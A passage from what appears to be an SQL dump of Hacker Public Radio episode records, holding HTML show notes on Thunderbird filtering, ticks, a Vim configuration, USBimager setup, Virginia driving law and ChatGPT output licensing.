tags such as <strong>Important</strong> and\n<strong>To Do</strong>, but more tags can be added. Any message can be\ngiven one or more tags. The filtering system can add tags as a message\nis processed. Searches can be performed on tags also.</li>\n<li>Dave is an enthusiast of nested folders with filters to classify\nmessages. MrX is keen on using tags for the same purpose. Dave mentioned\nThunderbird\'s <em>saved search</em> feature (which he wrongly called\n<em>virtual mailboxes</em>) which can collect messages according to many\ncriteria, including tags.</li>\n<li>Some discussion about mail message storage strategies: file per\nmessage, <em>mbox</em> format, etc.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li>Ticks:\n<ul>\n<li>MrX\'s dog has brought some ticks back from recent walks.</li>\n<li>Scotland seems to be a bit worse off for ticks in recent years.</li>\n<li>Hikers need to protect against them and to perform checks that they\nare not on clothes. Wearing long socks or gaiters over long trousers can\nhelp.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Lyme_disease\">Lyme\nDisease</a> is a bacterial infection that can be passed by ticks.</li>\n<li><a href=\"https://www.microbe.tv/twip/\">This Week in Parasitism</a>\nrecently talked about an unpleasant disease caught from ticks, <a\nhref=\"https://en.wikipedia.org/wiki/Babesiosis\"><em>Babesiosis</em></a>\n(not bacterial as Dave thought, but caused by a protozoan). This was in\nthe USA; the disease doesn\'t seem to be in the UK at the moment.</li>\n<li><a\nhref=\"https://www.lymediseaseaction.org.uk/about-ticks/tick-removal/\">Removal\nof ticks</a> needs a tool or a fine pair of tweezers.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Audacity:\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0198.html\">Ahuka</a>\ndid a recent show (<a\nhref=\"https://hackerpublicradio.org/eps/hpr3927/index.html\">hpr3927 ::\nAudacity Update 20230702</a>) on some problems he\'d encountered.</li>\n<li>Video on YouTube: <a\nhref=\"https://www.youtube.com/watch?v=QfmDn1IaDmY\">What Ever Happened to\nAudacity?</a></li>\n<li>Audacity-like tool in the browser: <a\nhref=\"https://wavacity.com/\">Wavacity</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://www.eif.co.uk/\">Edinburgh Festival</a> and <a\nhref=\"https://www.edfringe.com/\">Festival Fringe</a>:\n<ul>\n<li>MrX attended a show by Michael Shafar, the comedian</li>\n<li>Dave hasn\'t been to much at the Festival/Fringe in recent years. He\nsaw the <a\nhref=\"https://en.wikipedia.org/wiki/Doug_Anthony_All_Stars\">Doug Anthony\nAll Stars</a> when they were active many years ago, and found them funny\nbut intimidating!</li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR changes:\n<ul>\n<li>Mentioned on the recent <a\nhref=\"https://hackerpublicradio.org/eps/hpr3936/index.html#site-migration\">HPR\nCommunity News</a></li>\n<li>Problem reports can be sent by email to <code>admin</code> at\n<code>HPR</code>, as messages to <code>@hpr@botsin.space</code> on\nMastodon, and to the <code>#hpr:matrix.org</code> channel on\nMatrix.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Watching and listening:\n<ul>\n<li>MrX has been watching the YouTube channel <a\nhref=\"https://www.youtube.com/@littlechineseeverywhere\">Little Chinese\nEverywhere</a>, recommended in the last of these chats.</li>\n<li>MrX has also been listening to the BBC radio show <a\nhref=\"https://www.bbc.co.uk/programmes/b06bq6j1\">Computing Britain</a>.\nIt consists of 12 15-minute episodes, from 2015, and is available as a\npodcast.</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube recommendations:\n<ul>\n<li>Dave:\n<ul>\n<li><a href=\"https://www.youtube.com/c/NotJustBikes\">Not Just Bikes</a>:\n<ul>\n<li>A channel about cycling and city design. The channel owner is\nCanadian but has moved to Amsterdam for a better life for himself and\nhis family. He highlights the differences between North American city\ndesign and the design of many European cities.</li>\n<li>Example video: <a\nhref=\"https://www.youtube.com/watch?v=ztpcWUqVpIg\">Even Small Towns are\nGreat Here (5 Years in the Netherlands)</a></li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/c/BicycleDutch\">BicycleDutch</a>:\n<ul>\n<li>Another channel about cycling in the Netherlands. This channel host,\nMark Wagenbuur, is Dutch and does videos about cycle routes, and their\ndevelopment. Lots of videos made as he cycles a route. He is based in <a\nhref=\"https://en.wikipedia.org/wiki/%27s-Hertogenbosch\">s-Hertogenbosch</a>\n(<a\nhref=\"https://www.google.com/maps/place/&#39;&#39;s-Hertogenbosch,+Netherlands&#39;/@51.6639276,5.3834025,9.08z/data=!4m6!3m5!1s0x47c6ee37ad3edd37:0x400de5a8d1e7c50!8m2!3d51.6978162!4d5.3036748!16zL20vMGQ5dGo?entry=ttu\">map</a>)\nand cycles in the region and to and from Utrecht.</li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Vaccines:\n<ul>\n<li>Wikipedia: <a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_vaccine\">COVID-19\nvaccines</a></li>\n<li>Wikipedia: <a\nhref=\"https://en.wikipedia.org/wiki/SARS-CoV-2_Omicron_variant\">SARS-CoV-2\nOmicron variant</a></li>\n<li>Wikipedia: <a\nhref=\"https://en.wikipedia.org/wiki/Smallpox_vaccine\">Smallpox\nvaccine</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Glasgow\">Glasgow</a>:\n<ul>\n<li>Wikipedia: <a\nhref=\"https://en.wikipedia.org/wiki/Glasgow_Subway\">Glasgow\nSubway</a></li>\n<li><a href=\"https://www.pointahotels.com/our-hotels/glasgow/\">Point A\nHotel</a></li>\n<li><a href=\"https://glasgow.junglerumble.co.uk/\">Jungle Rumble</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Edinburgh:\n<ul>\n<li><a href=\"https://edinburghtrams.com/\">Edinburgh trams</a></li>\n<li><a href=\"https://www.waterofleith.org.uk/\">Water of Leith</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Thunderbird:\n<ul>\n<li><a href=\"https://www.thunderbird.net/en-GB/\">Website</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Ticks:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lyme_disease\">Lyme\nDisease</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Babesiosis\">Babesiosis</a></li>\n<li><a\nhref=\"https://www.lymediseaseaction.org.uk/about-ticks/tick-removal/\">Removal\nof ticks</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Audacity:\n<ul>\n<li>YouTube: <a href=\"https://www.youtube.com/watch?v=QfmDn1IaDmY\">What\nEver Happened to Audacity?</a></li>\n<li><a href=\"https://wavacity.com/\">Wavacity</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>More Edinburgh:\n<ul>\n<li><a href=\"https://www.eif.co.uk/\">Edinburgh Festival</a></li>\n<li><a href=\"https://www.edfringe.com/\">Edinburgh Festival\nFringe</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR:\n<ul>\n<li>Site migration update (<a\nhref=\"https://hackerpublicradio.org/eps/hpr3936/index.html#site-migration\">Community\nNews for August 2023</a>)</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube recommendations:\n<ul>\n<li><a href=\"https://www.youtube.com/c/NotJustBikes\">Not Just\nBikes</a></li>\n<li><a\nhref=\"https://www.youtube.com/c/BicycleDutch\">BicycleDutch</a></li>\n</ul></li>\n</ul>\n<aside id=\"footnotes\" class=\"footnotes footnotes-end-of-document\"\nrole=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\"><p>Other anagrams are also available: <em>gin sated</em>,\n<em>gent said</em>, <em>sang tide</em>, etc.<a href=\"#fnref1\"\nclass=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</aside>\n</article>\n',225,0,1,'CC-BY-SA','Edinburgh, The Steading, discussion',0,0,1),
(3964,'2023-10-12','Hacker Public Radio at OLF',3078,'Friends from Hacker Public Radio meetup to record an episode from the conference.','<p><a href=\"https://olfconference.org/\">Ohio Linux Fest, or Open, Libre,\nFree...we\'re not sure</a></p>\n<p><a\nhref=\"https://olfconference.org/olf-2023-slides-and-stream-videos/\">Conference\nVideos and Presentations</a></p>\n<p><a href=\"https://northmarket.org/merchant/momo-ghar/\">Momo\nGhar</a></p>\n',270,0,1,'CC-BY-SA','OLF, Linux Fest, Conference',0,0,1),
(4196,'2024-09-02','HPR Community News for August 2024',0,'HPR Volunteers talk about shows released and comments posted in August 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3966,'2023-10-16','Vim Hints: 006',1503,'Various contributors lead us on a journey of discovery of the Vim (and vi) editors.','<h2 id=\"my-.vimrc-config.\">My <code>.vimrc</code> config.</h2>\n<pre><code>&quot; General\nset confirm &quot; Display confirmation dialog when closing unsaved files\nset number &quot; Show line numbers\nset number relativenumber &quot; Show line numbers relative to curser\nset cursorline &quot; Highlight the current line\nset guicursor=\nset scrolloff=23 &quot; Number of screen lines above and below the cursor\nset colorcolumn=80 &quot; Line 76 and 80 are colored\n:hi ColorColumn ctermbg=Magenta &quot; Column colors\nset nowrap &quot; Do not wrap lines\nset list\nset listchars=eol:\n,tab:&#x2B7E;&#x2B7E;,trail:~,extends:&gt;,precedes:&lt;,space:&#x23B5;\nset showmatch &quot; Highlight matching brace\nset visualbell &quot; Use visual bell (no beeping)\nset showcmd &quot; Show partial commands in the last line\n\nset hlsearch &quot; Highlight all search results\nset smartcase &quot; Enable smart-case search\nset ignorecase &quot; Always case-insensitive\nset incsearch &quot; Searches for strings incrementally\nset wildmenu &quot; Display tab complete options menu\nset encoding=utf-8 &quot; Use an encoding that supports unicode\n\n&quot;set autoindent &quot; Auto-indent new lines\n&quot;set smartindent &quot; Enable smart-indent\n&quot;set smarttab &quot; Enable smart-tabs\nset shiftwidth=4 &quot; Number of auto-indent spaces\nset softtabstop=4 &quot; Number of spaces per Tab\nset tabstop=4 &quot; Indent using four spaces\nset expandtab &quot; Convert tabs to spaces.\n\n&quot; Advanced\nset ruler &quot; Show row and column ruler information\n&quot;set showtabline=2 &quot; Show tab bar\nset cmdheight=2 &quot; Command line height\n\nset undolevels=1000 &quot; Number of undo levels\nset backspace=indent,eol,start &quot; Backspacing over indention, line breaks and insertion start\nset dir=~/.cache/vim &quot; Directory to store swap files\nset backupdir=~/.cache/vim &quot; Directory to store backup files\nset undodir=~/.cache/vim/undo &quot; Directory to store undo cache\n\nnnoremap &lt;silent&gt; &lt;C-l&gt; :nohl&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;C-s&gt; :term&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;leader&gt;[ :bp&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;leader&gt;] :bn&lt;CR&gt;\nnnoremap &lt;leader&gt;so :so ~/.config/vim/sessions/\nnnoremap &lt;silent&gt; &lt;F3&gt; :set list!&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;leader&gt;cc :set cc-=5&lt;CR&gt;:set cc-=76&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;leader&gt;cc1 :set cc+=5&lt;CR&gt;:set cc-=76&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;leader&gt;cc2 :set cc+=76&lt;CR&gt;:set cc-=5&lt;CR&gt;\nvnoremap &lt;silent&gt; &lt;F6&gt; :w !xsel -ib&lt;CR&gt;&lt;CR&gt;\nnnoremap &lt;silent&gt; &lt;F7&gt; :-r !xsel -ob&lt;CR&gt;\n\nnnoremap &lt;leader&gt;7 :setlocal spell spelllang=en_us&lt;CR&gt;\nnnoremap &lt;leader&gt;8 :setlocal nospell&lt;CR&gt;</code></pre>\n<h3 id=\"my-markdown.vim-custom-session.\">My <code>markdown.vim</code>\ncustom session.</h3>\n<pre><code>iabbr 3* * * *\n\nnnoremap &lt;leader&gt;1 I- &lt;Esc&gt;\nnnoremap &lt;leader&gt;2 I - &lt;Esc&gt;\nnnoremap &lt;leader&gt;3 I - &lt;Esc&gt;\nnnoremap &lt;leader&gt;f3 :%s/&#x2013;/-/ge &lt;bar&gt; s/[d*]//ge &lt;bar&gt; %s/&#x2014;/-/ge &lt;bar&gt; w &lt;CR&gt;\nnnoremap &lt;leader&gt;h1 I# &lt;Esc&gt;A #&lt;Esc&gt;02o&lt;Esc&gt;\nnnoremap &lt;leader&gt;h2 I## &lt;Esc&gt;A ##&lt;Esc&gt;02o&lt;Esc&gt;\nnnoremap &lt;leader&gt;h3 I### &lt;Esc&gt;A ###&lt;Esc&gt;02o&lt;Esc&gt;\nnnoremap &lt;leader&gt;l1 1k0v$hdI- **Source:** [&lt;Esc&gt;pA](&lt;Esc&gt;gJA) &lt;Esc&gt;0:w&lt;CR&gt;\nnnoremap &lt;leader&gt;l2 1k0v$hdI- **Supporting Source:** [&lt;Esc&gt;pA](&lt;Esc&gt;gJA) &lt;Esc&gt;0:w&lt;CR&gt;\nnnoremap &lt;leader&gt;l3 i[]() &lt;Esc&gt;b\nvnoremap &lt;leader&gt;n1 :s/ *$/ \\/e &lt;bar&gt; .v/ \\$/norm A &lt;CR&gt;:nohl&lt;CR&gt;\nvnoremap &lt;leader&gt;n2 :s/ \\$/ /e &lt;bar&gt; .v/ $/norm A &lt;CR&gt;:nohl&lt;CR&gt;\n\nvnoremap &lt;leader&gt;c1 di``&lt;Esc&gt;1hp\nvnoremap &lt;leader&gt;c2 di```&lt;CR&gt;```&lt;Esc&gt;1kp\nvnoremap &lt;leader&gt;f1 :s/ */ /g &lt;bar&gt; w &lt;bar&gt; :nohl &lt;bar&gt;, !fmt -w 76 &lt;CR&gt;:w&lt;CR&gt;\nvnoremap &lt;leader&gt;f2 :s/ */ /g &lt;bar&gt; w &lt;bar&gt; :nohl &lt;bar&gt;, !fmt -w 76 &lt;CR&gt;VG:s/$/ \\/ &lt;bar&gt; w &lt;bar&gt; :nohl&lt;CR&gt;2o&lt;Esc&gt;:w&lt;CR&gt;\n\nvnoremap &lt;C-b&gt; di****&lt;Esc&gt;2hp\nvnoremap &lt;C-i&gt; di**&lt;Esc&gt;1hp</code></pre>\n<p>Just source this file.<br />\n<code>:so ~/path/to/file.vim</code></p>\n<p>Just because I don\'t want to be a tease; here is the Thunderbird\none-liner. Don\'t die on that hill!<br />\n<code>nnoremap &lt;leader&gt;1 2dw$x0:s/ OR /rOR /g&lt;CR&gt;gg02f,&lt;C-v&gt;G$ugg02f,&lt;C-v&gt;G$:sort u&lt;CR&gt;gg0VG:s/$/ /&lt;CR&gt;gg0VG:s/ *$/ /&lt;CR&gt;ggVGJIcondition=\"&lt;Esc&gt;A\"&lt;Esc&gt;0:s/ \"$/\"/&lt;CR&gt;:w&lt;CR&gt;</code></p>\n',391,82,0,'CC-BY-SA','RESERVE SHOW,Vim, :mksessions, :source, .vimrc, vim hints',0,0,1),
(3967,'2023-10-17','Unsolicited thoughts on running open source software projects',451,'A man talks to himself during his drive home from work.','<p>Some thoughts on the different ways you can run an open source\nsoftware project, comparing projects like password-store, which are\nbased on a mailing list and use a minimal forge platform, and others\nthat are based on a fancy forge like Github.</p>\n<p>I think the fancy forge gives the open source software project a vibe\nthat we\'re more used to, in our capitalist society. It\'s a more\ncentralized structure that feels more like a service that\'s being\noffered to the public, mostly in one direction. Meanwhile software\nprojects that don\'t have a platform for creating road maps, issues, pull\nrequests etc actually foster a stronger and more open community\nstructure, rather counter-intuitively, because the software is free and\neveryone is able to contribute and modify the software for their own\nuse, and they in fact do. The idea of a canonical version of the\nsoftware is only a convenience, not a defining feature of it.</p>\n<p>Let me know your thoughts on this.</p>\n',399,0,0,'CC-BY-SA','RESERVE SHOW,software governance',0,0,1),
(3968,'2023-10-18','About USBimager - part 1/2',681,'Why you should be using USBimager too, an introduction.','<p>USBImager is a really really simple GUI application that writes\ncompressed disk images to USB drives and creates backups.</p>\n<p>Available platforms: Windows, MacOSX and Linux. <a\nhref=\"http://gitlab.com/bztsrc/usbimager\"\nclass=\"uri\">http://gitlab.com/bztsrc/usbimager</a></p>\n<p>Just for Windows</p>\n<ul>\n<li>Rufus - Windows only <a href=\"http://github.com/pbatard/rufus\"\nclass=\"uri\">http://github.com/pbatard/rufus</a></li>\n<li>USB Image Tool - Windows only <a\nhref=\"http://www.alexpage.de/tag/usb-image-tool/\"\nclass=\"uri\">http://www.alexpage.de/tag/usb-image-tool/</a></li>\n<li>WIN32 Disk Imager - Windows only last update 2017-03-08 <a\nhref=\"http://sourceforge.net/projects/win32diskimager/\"\nclass=\"uri\">http://sourceforge.net/projects/win32diskimager/</a></li>\n</ul>\n<p>Don\'t miss part 2!</p>\n',421,0,0,'CC-BY-SA','RESERVE SHOW,flash,writing,software,usb',0,0,1),
(3969,'2023-10-19','Game Sales',865,'I have recently found some bargains and wanted the share that with the community.','<p>There are some games I will buy for the full prices as soon as they\nare released, such as any of the Civilization games. But I also like to\nfind bargains, and I recently scored a fantastic deal on Steam that\nmotivated me to share this information with the community since I know\nthere are other people out there who enjoy computer games.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://store.steampowered.com/\"\nclass=\"uri\">https://store.steampowered.com/</a></li>\n<li><a href=\"https://www.gog.com/en/games\"\nclass=\"uri\">https://www.gog.com/en/games</a></li>\n<li><a href=\"https://www.youtube.com/@JumboPixel\"\nclass=\"uri\">https://www.youtube.com/@JumboPixel</a></li>\n<li><a href=\"https://www.humblebundle.com/games\"\nclass=\"uri\">https://www.humblebundle.com/games</a></li>\n<li><a href=\"https://www.palain.com/travel/colorado-2023/\"\nclass=\"uri\">https://www.palain.com/travel/colorado-2023/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','RESERVE SHOW,Computer Games, Bargains, Sales',0,0,1),
(3972,'2023-10-24','Thunderbird inbox filtering: keeping a clean/orderly inbox.',662,'Sgoti talks about filtering your inbox.','<h2\nid=\"thunderbird-inbox-filtering-keeping-a-cleanorderly-inbox.\">Thunderbird\ninbox filtering: keeping a clean/orderly inbox.</h2>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://www.thunderbird.net/en-US/\">Thunderbird: Free Your\nInbox.</a>\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters\">Organize\nYour Messages by Using Filters.</a>\n<ul>\n<li>Message filters allow you to set up Thunderbird to organize your\nmessages automatically. Each account has its own set of filters. Filters\ncan move messages to folders, delete them, forward them to other email\naddresses, and more.</li>\n<li>When you receive new mail - This is when Getting New Mail is\nselected (the default). Filters are applied to new mail in the inbox.\nThis can occur either before Thunderbird does its assessment of the mail\nas junk, or after. If you have difficulty with filtering the message\nbody, select after classification.</li>\n<li>Automatically applied filters are applied only to the inbox, with\nthe exception of Archive and after send filters, which apply only to the\nmails involved in the action to send or archive. Other folder types are\nnot affected.</li>\n</ul></li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/protect-your-thunderbird-passwords-primary-password\">Protect\nyour Thunderbird passwords with a Primary Password.</a>\n<ul>\n<li>Thunderbird can save passwords for each account, so you don\'t have\nto re-enter them when you check for new messages. You can view them and\nremove the ones you don\'t use anymore.</li>\n<li><strong>Do you want to prevent others from seeing your\nmessages?</strong> If you are sharing a computer, the most secure way is\nto create a separate OS user account on the operating system for each\nperson, and make sure your OS account requires a password. Thunderbird\nstores accounts, messages and password information separately for each\noperating system account.</li>\n</ul></li>\n</ul></li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Thunderbird, email filters, inbox filters',0,0,1),
(3974,'2023-10-26','About USBimager - part 2/2',938,'Why you should be using USBimager too, an introduction.','<p>Because you want to make changes on a storage device, you are asked\nto enter your password. You can add your user to the group: disk to\navoid this.</p>\n<p>who or whoami - my login-name</p>\n<p>id - more details</p>\n<p>groups - all your groups</p>\n<p>less /etc/group | grep disk - focus on disk</p>\n<p>Add an existing user to another group, like this:</p>\n<pre><code>sudo usermod -aG disk LOGIN-NAME</code></pre>\n<p>I saw my entry not immediately check it with:\n<code>cat /etc/group</code></p>\n<hr />\n<p>Under releases <a\nhref=\"http://gitlab.com/bztsrc/usbimager\">http://gitlab.com/bztsrc/usbimager</a>\nyou may find your preferred pre built binary, if not, I recommend this\nlink <a\nhref=\"http://gitlab.com/bztsrc/usbimager/tree/binaries\">http://gitlab.com/bztsrc/usbimager/tree/binaries</a></p>\n',421,0,0,'CC-BY-SA','flash, writing, software, usb',0,0,1),
(3975,'2023-10-27','Mesa Verde 20230618',649,'Our story of a day tour in Mesa Verde, Colorado','<p>We had occasion to travel to Colorado for a wedding, and took a\nlittle extra time to visit Mesa Verde. This is a site originally\ninhabited by the Puebloan people (as the Spanish called them) that was\nlocated on a Mesa in the vicinity of the Rocky Mountains. The site is\nnot far from New Mexico, and our tour was fascinating, so I am sharing\nit with you.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://www.nps.gov/meve/index.htm\"\nclass=\"uri\">https://www.nps.gov/meve/index.htm</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAKVdo\"\nclass=\"uri\">https://flic.kr/s/aHBqjAKVdo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAKX1y\"\nclass=\"uri\">https://flic.kr/s/aHBqjAKX1y</a></li>\n<li><a href=\"https://www.palain.com/travel/colorado-2023/\"\nclass=\"uri\">https://www.palain.com/travel/colorado-2023/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, Native Americans, Colorado',0,0,1),
(3976,'2023-10-30','The Evolution of Windows\' Snipping Tool',348,'KD gives some history of the evolution of screenshot capabilities on Windows.','<p>Some links to items discussed on this episode:</p>\n<ul>\n<li><a\nhref=\"https://support.eset.com/en/kb2727-how-do-i-take-a-screenshot\">The\n\"Old\" Screenshot Method</a></li>\n<li><a href=\"https://learn.microsoft.com/en-us/windows/powertoys/\">What\nare Windows PowerToys?</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Windows_Ink\">Windows Ink\nWorkspace</a></li>\n<li><a\nhref=\"https://www.makeuseof.com/how-to-screen-record-with-windows-11-snipping-tool/\">How\nto Screen Record</a></li>\n<li><a\nhref=\"https://kdmurray.com/2023/09/24/the-evolution-of-windows-snipping-tool/\">Accompanying\nBlog Post and quasi-transcript</a></li>\n</ul>\n',266,0,0,'CC-BY-SA','software, screenshot, screen capture, technology, utilities, windows',0,0,1),
(3977,'2023-10-31','Creative Commons Search Engine',277,'There is a new search engine for Creative Commons content','<p>Creative Commons has a new search engine available called Openverse.\nThis is the evolution of the old CC Search developed by Creative\nCommons, which was taken over by WordPress, and now has further\nevolved.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://openverse.org/\"\nclass=\"uri\">https://openverse.org/</a></li>\n<li><a href=\"https://openverse.org/sources\"\nclass=\"uri\">https://openverse.org/sources</a></li>\n<li><a\nhref=\"https://make.wordpress.org/openverse/handbook/new-contributor-guide/\"\nclass=\"uri\">https://make.wordpress.org/openverse/handbook/new-contributor-guide/</a></li>\n<li><a\nhref=\"https://www.ahuka.com/a-search-engine-for-creative-commons-content/\"\nclass=\"uri\">https://www.ahuka.com/a-search-engine-for-creative-commons-content/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Creative Commons, public domain, licensed content',0,0,1),
(3978,'2023-11-01','Driving in Virginia.',1813,'Sgoti talks about driving in the state of Virginia.','<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://law.lis.virginia.gov/vacode/title18.2/chapter6/\">Code of\nVirginia - Chapter 6. Crimes Involving Fraud.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://law.lis.virginia.gov/vacodefull/title8.01/chapter3/article7/\">Article\n7. Motor Vehicle Accidents.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://law.lis.virginia.gov/vacodefull/title46.2/chapter8/article11/\">Article\n11. Accidents.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://law.lis.virginia.gov/vacode/title46.2/chapter8/section46.2-896/\">&#xA7;\n46.2-896. Duties of driver in event of accident involving damage only to\nunattended property.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://law.lis.virginia.gov/vacode/title46.2/chapter3/section46.2-373/\">&#xA7;\n46.2-373. Report by law-enforcement officer investigating\naccident.</a></p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.dmv.virginia.gov/about/#law_enf.asp\">DMV Law\nEnforcement Division.</a> DMV special agents have offices inside the\ncustomer service centers where they respond immediately to concerns,\nsuch as individuals who attempt to pass counterfeit documents. Their\npresence serves not only to deter attempts of criminal activity, but\nalso to facilitate partnerships with DMV customer service\nrepresentatives as a first line defense in the detection of fraudulent\ndocuments and apprehension of offenders. Field Investigations agents\nalso are charged with enforcing the Virginia Code section intended to\nprotect Virginia consumers from unsafe vehicles and vehicle fraud\narising from the illegal sale of vehicles without the required business\nand motor vehicle dealer licenses, safety inspections, warranties,\ntitling, or taxes. This statute also protects licensed motor vehicle\ndealers from unfair and illegal competition and ensures that the state\nand localities collect appropriate revenues.</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.dmv.virginia.gov/#/\">Virginia Department of Motor\nVehicles.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dmv39.pdf&amp;sa=U&amp;ved=2ahUKEwjJqvWpmPj_AhWgEmIAHQ2bC0AQFnoECAEQAQ&amp;usg=AOvVaw2ZeF0W0UPD9mRmstXxVtEZ\">Virginia\nDriver\'s Manual.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.dmv.virginia.gov/drivers/#manual.asp\">Interactive\nDriver\'s Manual With Practice Questions.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.google.com/url?client=internal-element-cse&amp;cx=004021148943282517298:oscb2opeqqq&amp;q=https://www.dmv.virginia.gov/webdoc/pdf/dmv60a.pdf&amp;sa=U&amp;ved=2ahUKEwjJqvWpmPj_AhWgEmIAHQ2bC0AQFnoECAgQAQ&amp;usg=AOvVaw2Yu09sDKcw8ZxpzycZgSTr\">Commercial\nDriver License Manual.</a></p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.dmv.virginia.gov/safety/#crash_data/crash_facts/index.asp\">Virginia\nTraffic Crash Facts.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.dmv.virginia.gov/safety/#crash_data/index.asp\">Related\nCrash Data.</a></p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.nicb.org/prevent-fraud-theft/staged-auto-accident-fraud\">Staged\nAuto Accident Fraud.</a></p></li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Virginia, Driving, CDL, Fraud',0,0,1),
(3979,'2023-11-02','FireStick and ad blocking',1501,'operat0r talks about recent apps for firestick and blocking ads','<p>I talk about recent apps for firestick and blocking ads</p>\n',36,0,1,'CC-BY-SA','streaming,tv,ad blocking,youtube',0,0,1),
(3982,'2023-11-07','Conversation with ChatGPT',218,'Conversation with ChatGPT about EU Cookie banners','<h2 id=\"the-following-conversation-is-from-my-query-to-chatgpt\">The\nfollowing conversation is from my query to ChatGPT</h2>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3982/hpr3982/conversation.html\"\ntitle=\"Conversation with ChatGPT\">conversation.html</a></p>\n',318,0,0,'CC-BY-SA','ChatGPT, EU, GDPR, cookies',0,0,1),
(3983,'2023-11-08','ChatGPT Output is not compatible with CC-BY-SA',536,'Ken is not a lawyer but is fairly sure that ChatGPT is not compatible with Creative Commons','<p>When uploading to HPR you are\n<a href=\"https://hackerpublicradio.org/about.html#agreement\">You are\nagreeing to license your show CC-BY-SA.</a></p>\n<blockquote>\n<p>All our shows are now released under a Creative Commons\nAttribution-ShareAlike 4.0 International (CC BY-SA 4.0) license, which\nmeans that while you continue to retain the copyright to your show, you\nare allowing us (and everyone else) to use it provided we give you\nattribution and that we release it under the same license. Click the\nlink for more information.</p>\n</blockquote>\n<p>The\n<a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)\nlicense</a> itself says that sharing (the S in CC-BY-SA), allows you to\n\"copy and redistribute the material in any medium or format for any\npurpose, even commercially\".</p>\n<p>On the face of it the\n<a href=\"https://openai.com/policies/terms-of-use#3-content\">OpenAI\nChatGPT Terms of use</a> seem similar, with Section 3 saying \"you can\nuse Content for any purpose, including commercial purposes\".\nUnfortunately they then go on to say \"Subject to your compliance with\nthese Terms\":</p>\n<pre><code> 3. Content\n\n (a) Your Content. You may provide input to the Services (&#x201C;Input&#x201D;), and\n receive output generated and returned by the Services based on the Input\n (&#x201C;Output&#x201D;). Input and Output are collectively &#x201C;Content.&#x201D; As between the\n parties and to the extent permitted by applicable law, you own all\n Input. Subject to your compliance with these Terms, OpenAI hereby\n assigns to you all its right, title and interest in and to Output. This\n means you can use Content for any purpose, including commercial purposes\n such as sale or publication, if you comply with these Terms. OpenAI may\n use Content to provide and maintain the Services, comply with applicable\n law, and enforce our policies. You are responsible for Content,\n including for ensuring that it does not violate any applicable law or\n these Terms.</code></pre>\n<p>The same document lists some 